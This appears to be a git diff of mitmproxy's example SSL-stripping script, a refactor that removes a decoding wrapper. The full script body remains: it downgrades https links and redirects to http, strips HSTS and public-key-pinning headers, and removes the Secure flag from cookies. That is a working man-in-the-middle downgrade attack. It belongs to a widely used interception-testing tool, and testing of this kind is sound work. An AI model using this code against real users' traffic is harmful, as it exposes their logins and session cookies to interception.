diff options
Diffstat (limited to 'examples/sslstrip.py')
| -rw-r--r-- | examples/sslstrip.py | 38 | 
1 files changed, 18 insertions, 20 deletions
diff --git a/examples/sslstrip.py b/examples/sslstrip.py index afc95fc8..0be1f020 100644 --- a/examples/sslstrip.py +++ b/examples/sslstrip.py @@ -1,4 +1,3 @@ -from netlib.http import decoded  import re  from six.moves import urllib @@ -17,22 +16,21 @@ def request(flow):  def response(flow): -    with decoded(flow.response): -        flow.request.headers.pop('Strict-Transport-Security', None) -        flow.request.headers.pop('Public-Key-Pins', None) - -        # strip links in response body -        flow.response.content = flow.response.content.replace('https://', 'http://') - -        # strip links in 'Location' header -        if flow.response.headers.get('Location', '').startswith('https://'): -            location = flow.response.headers['Location'] -            hostname = urllib.parse.urlparse(location).hostname -            if hostname: -                secure_hosts.add(hostname) -            flow.response.headers['Location'] = location.replace('https://', 'http://', 1) - -        # strip secure flag from 'Set-Cookie' headers -        cookies = flow.response.headers.get_all('Set-Cookie') -        cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies] -        flow.response.headers.set_all('Set-Cookie', cookies) +    flow.request.headers.pop('Strict-Transport-Security', None) +    flow.request.headers.pop('Public-Key-Pins', None) + +    # strip links in response body +    flow.response.content = flow.response.content.replace('https://', 'http://') + +    # strip links in 'Location' header +    if flow.response.headers.get('Location', '').startswith('https://'): +        location = flow.response.headers['Location'] +        hostname = urllib.parse.urlparse(location).hostname +        if hostname: +            secure_hosts.add(hostname) +        flow.response.headers['Location'] = location.replace('https://', 'http://', 1) + +    # strip secure flag from 'Set-Cookie' headers +    cookies = flow.response.headers.get_all('Set-Cookie') +    cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies] +    flow.response.headers.set_all('Set-Cookie', cookies)  | 
